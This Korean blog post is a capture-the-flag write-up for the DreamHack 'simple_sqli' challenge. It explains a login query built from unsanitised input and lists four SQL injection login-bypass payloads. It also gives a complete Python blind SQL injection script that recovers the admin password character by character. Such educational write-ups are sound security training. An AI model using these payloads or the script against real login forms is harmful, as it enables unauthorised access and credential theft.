[Web Hacking] DH Simple_SQLI

KyungH·2024년 3월 6일

Web Hacking War Game

목록 보기
8/17
post-thumbnail

📝Problem - Simple_SQLI

SQLite를 이용하여 데이터베이스를 관리하고 있는 문제이다.
/login 페이지에서 입력받은 ID/PW를 데이터베이스에서 조회하고 이에 해당하는 데이터가 있을 경우 로그인을 수행한다. 우리는 FLAG 획득을 위해 admin 계정의 비밀번호를 알아내거나, admin 계정으로의 로그인을 우회해야 한다.

따라서 이 문제는 2가지 풀이방법이 있다. 하나는 비밀번호를 모른채로 로그인을 우회하여 풀이하는 방법과, 관리자 계정의 비밀번호를 알아내고 올바른 경로로 로그인 하는 방법으로 나눌 수 있다.


📌Approach

def login(): # login 함수 선언
    ...
    userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
    userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
    # users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
    res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
    ...
    
def query_db(query, one=True): # query_db 함수 선언
    cur = get_db().execute(query) # 연결된 데이터베이스에 쿼리문을 질의
    rv = cur.fetchall() # 쿼리문 내용을 받아오기
    cur.close() # 데이터베이스 연결 종료
    return (rv[0] if rv else None) if one else rv # 쿼리문 질의 내용에 대한 결과를 반환

useriduserpassword를 이용자에게 입력받고, 동적으로 쿼리문을 생성한 뒤 query_db 함수에서 SQLite에 질의한다. 이러한 동작으로 생성한 쿼리를 RawQuery라고 한다.

RawQuery를 생성할 때, 이용자의 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있다. 이용자의 입력값을 검사하는 과정이 없기 때문에 임의의 쿼리문을 삽입하여 공격을 수행할 수 있다.


📌Solution 1 - 로그인 우회

아래는 로그인을 위해 실행하는 쿼리문으로, 다양하게 조작할 수 있다.

SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"

/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"

/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"

/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
 

마지막 방법은 SQL LIMIT 키워드를 사용하였으며,
SELECT * FROM 테이블명 LIMIT 숫자 로 사용한다.
LIMIT은 처음부터 몇 개 까지의 데이터를 보여주는지 지정하며, 여기에 LIMIT OFFSET으로 지정하여 시작점에서부터 몇 개 이후까지 데이터를 보여주는지 또한 지정할 수 있다.
OFFSET은 0부터 시작하므로 테이블의 2번째 Row에 저장되어있는 admin의 정보는 LIMIT 1,1을 사용하여 반환하도록 할 수 있다.


📌Solution 2 - 관리자의 비밀번호를 알아내기

Blind SQL Injection을 통해 관리자의 비밀번호 자체를 알아내는 방법이 있다.

guest로 로그인하는 과정에서 크롬의 개발자도구에서 네트워크 탭을 확인하여 HTTP 데이터를 확인할 수 있다. 로그인할 때 입력한 userid 값은 userid로 password는 userpassword로 전송됨을 확인할 수 있다.

이제 스크립트를 작성하면서 파이썬의 requests 모듈로 POST 요청을 보낼때, 위에서 확인한 Form Data를 참고하여 요청을 보내면 되고, 비밀번호의 길이를 먼저 파악한 후 길이만큼의 반복문을 실행하여 비밀번호를 획득하는 스크립트를 작성하면 된다.


📌Code

#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin


class Solver:
    """Solver for simple_SQLi challenge"""

    # initialization
    def __init__(self, port: str) -> None:
        self._chall_url = f"http://host1.dreamhack.games:{port}"
        self._login_url = urljoin(self._chall_url, "login")

    # base HTTP methods
    def _login(self, userid: str, userpassword: str) -> requests.Response:
        login_data = {"userid": userid, "userpassword": userpassword}
        resp = requests.post(self._login_url, data=login_data)
        return resp

    # base sqli methods
    def _sqli(self, query: str) -> requests.Response:
        resp = self._login(f'" or {query}-- ', "hi")
        return resp

    def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
        while 1:
            mid = (low + high) // 2
            if low + 1 >= high:
                break
            query = query_tmpl.format(val=mid)
            if "hello" in self._sqli(query).text:
                high = mid
            else:
                low = mid
        return mid

    # attack methods
    def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
        query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
        pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
        return pw_len

    def _find_password(self, user: str, pw_len: int) -> str:
        pw = ""
        for idx in range(1, pw_len + 1):
            query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
            pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
            print(f"{idx}. {pw}")
        return pw

    def solve(self) -> None:
        # Find the length of admin password
        pw_len = solver._find_password_length("admin")
        print(f"Length of the admin password is: {pw_len}")
        # Find the admin password
        print("Finding password:")
        pw = solver._find_password("admin", pw_len)
        print(f"Password of the admin is: {pw}")


if __name__ == "__main__":
    port = sys.argv[1]
    solver = Solver(port)
    solver.solve()

References

DreamHack 강의 - Exercise: SQL Injection
DreamHack 강의 - Exercise: Blind SQL Injection

0개의 댓글